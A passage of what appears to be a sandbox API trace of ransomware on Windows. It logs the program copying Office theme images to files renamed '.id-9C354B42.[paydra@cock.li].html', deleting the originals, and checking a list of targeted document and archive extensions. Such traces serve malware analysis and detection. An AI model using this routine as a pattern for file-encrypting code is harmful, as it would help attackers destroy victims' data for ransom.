nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x790, lpOverlapped=0x0) returned 1 [0044.665] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.665] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.666] SetEndOfFile (hFile=0x220) returned 1 [0044.666] CloseHandle (hObject=0x220) returned 1 [0044.666] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.666] SetEndOfFile (hFile=0x21c) returned 1 [0044.667] CloseHandle (hObject=0x21c) returned 1 [0044.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0044.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.667] lstrlenW (lpString=".doc") returned 4 [0044.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.667] lstrlenW (lpString=".docx") returned 5 [0044.667] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.667] lstrlenW (lpString=".pdf") returned 4 [0044.667] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.667] lstrlenW (lpString=".xls") returned 4 [0044.667] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.667] lstrlenW (lpString=".xlsx") returned 5 [0044.667] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.667] lstrlenW (lpString=".ppt") returned 4 [0044.667] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString=".zip") returned 4 [0044.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString=".rar") returned 4 [0044.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString=".bz2") returned 4 [0044.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.668] lstrlenW (lpString=".7z") returned 3 [0044.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString=".dbf") returned 4 [0044.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString=".1cd") returned 4 [0044.668] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString=".jpg") returned 4 [0044.668] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.668] lstrlenW (lpString=".doc") returned 4 [0044.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.668] lstrlenW (lpString=".docx") returned 5 [0044.668] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.668] lstrlenW (lpString=".pdf") returned 4 [0044.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString=".xls") returned 4 [0044.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.668] lstrlenW (lpString=".xlsx") returned 5 [0044.668] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.669] lstrlenW (lpString=".ppt") returned 4 [0044.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.669] lstrlenW (lpString=".zip") returned 4 [0044.669] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.669] lstrlenW (lpString=".rar") returned 4 [0044.669] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.669] lstrlenW (lpString=".bz2") returned 4 [0044.669] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.669] lstrlenW (lpString=".7z") returned 3 [0044.669] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.669] lstrlenW (lpString=".dbf") returned 4 [0044.669] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.669] lstrlenW (lpString=".1cd") returned 4 [0044.669] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.669] lstrlenW (lpString=".jpg") returned 4 [0044.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.669] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.669] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.670] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=27407) returned 1 [0044.670] CloseHandle (hObject=0x21c) returned 1 [0044.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0044.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.671] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.671] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.671] GetLastError () returned 0x0 [0044.671] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0044.673] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0044.676] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.676] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.676] SetEndOfFile (hFile=0x220) returned 1 [0044.676] CloseHandle (hObject=0x220) returned 1 [0044.676] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.676] SetEndOfFile (hFile=0x21c) returned 1 [0044.677] CloseHandle (hObject=0x21c) returned 1 [0044.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.678] lstrlenW (lpString=".doc") returned 4 [0044.678] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.678] lstrlenW (lpString=".docx") returned 5 [0044.678] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.678] lstrlenW (lpString=".pdf") returned 4 [0044.678] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.678] lstrlenW (lpString=".xls") returned 4 [0044.678] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.678] lstrlenW (lpString=".xlsx") returned 5 [0044.678] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.678] lstrlenW (lpString=".ppt") returned 4 [0044.678] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.678] lstrlenW (lpString=".zip") returned 4 [0044.678] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.678] lstrlenW (lpString=".rar") returned 4 [0044.678] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.678] lstrlenW (lpString=".bz2") returned 4 [0044.678] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.678] lstrlenW (lpString=".7z") returned 3 [0044.678] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.678] lstrlenW (lpString=".dbf") returned 4 [0044.678] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString=".1cd") returned 4 [0044.679] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString=".jpg") returned 4 [0044.679] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString=".doc") returned 4 [0044.679] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.679] lstrlenW (lpString=".docx") returned 5 [0044.679] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.679] lstrlenW (lpString=".pdf") returned 4 [0044.679] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.679] lstrlenW (lpString=".xls") returned 4 [0044.679] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.679] lstrlenW (lpString=".xlsx") returned 5 [0044.679] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.679] lstrlenW (lpString=".ppt") returned 4 [0044.679] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString=".zip") returned 4 [0044.679] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.679] lstrlenW (lpString=".rar") returned 4 [0044.679] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.679] lstrlenW (lpString=".bz2") returned 4 [0044.679] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.679] lstrlenW (lpString=".7z") returned 3 [0044.679] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.679] lstrlenW (lpString=".dbf") returned 4 [0044.679] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.680] lstrlenW (lpString=".1cd") returned 4 [0044.680] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.680] lstrlenW (lpString=".jpg") returned 4 [0044.680] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.680] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.680] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.680] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=3479) returned 1 [0044.680] CloseHandle (hObject=0x21c) returned 1 [0044.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0044.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.684] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.684] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.686] GetLastError () returned 0x0 [0044.686] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xd97, lpOverlapped=0x0) returned 1 [0044.688] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0044.688] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.689] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.689] SetEndOfFile (hFile=0x220) returned 1 [0044.689] CloseHandle (hObject=0x220) returned 1 [0044.689] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.689] SetEndOfFile (hFile=0x21c) returned 1 [0044.690] CloseHandle (hObject=0x21c) returned 1 [0044.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0044.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.690] lstrlenW (lpString=".doc") returned 4 [0044.690] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.690] lstrlenW (lpString=".docx") returned 5 [0044.690] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.690] lstrlenW (lpString=".pdf") returned 4 [0044.690] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.690] lstrlenW (lpString=".xls") returned 4 [0044.690] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.690] lstrlenW (lpString=".xlsx") returned 5 [0044.690] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.691] lstrlenW (lpString=".ppt") returned 4 [0044.691] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString=".zip") returned 4 [0044.691] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.691] lstrlenW (lpString=".rar") returned 4 [0044.691] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.691] lstrlenW (lpString=".bz2") returned 4 [0044.691] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.691] lstrlenW (lpString=".7z") returned 3 [0044.691] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString=".dbf") returned 4 [0044.691] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString=".1cd") returned 4 [0044.691] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString=".jpg") returned 4 [0044.691] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.691] lstrlenW (lpString=".doc") returned 4 [0044.691] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.691] lstrlenW (lpString=".docx") returned 5 [0044.691] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.691] lstrlenW (lpString=".pdf") returned 4 [0044.691] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.691] lstrlenW (lpString=".xls") returned 4 [0044.691] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.692] lstrlenW (lpString=".xlsx") returned 5 [0044.692] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.692] lstrlenW (lpString=".ppt") returned 4 [0044.692] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.692] lstrlenW (lpString=".zip") returned 4 [0044.692] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.692] lstrlenW (lpString=".rar") returned 4 [0044.692] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.692] lstrlenW (lpString=".bz2") returned 4 [0044.692] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.692] lstrlenW (lpString=".7z") returned 3 [0044.692] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.692] lstrlenW (lpString=".dbf") returned 4 [0044.692] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.692] lstrlenW (lpString=".1cd") returned 4 [0044.692] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.692] lstrlenW (lpString=".jpg") returned 4 [0044.692] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.692] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.692] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.693] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=31837) returned 1 [0044.693] CloseHandle (hObject=0x21c) returned 1 [0044.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0044.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.693] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.693] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.852] GetLastError () returned 0x0 [0044.852] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, 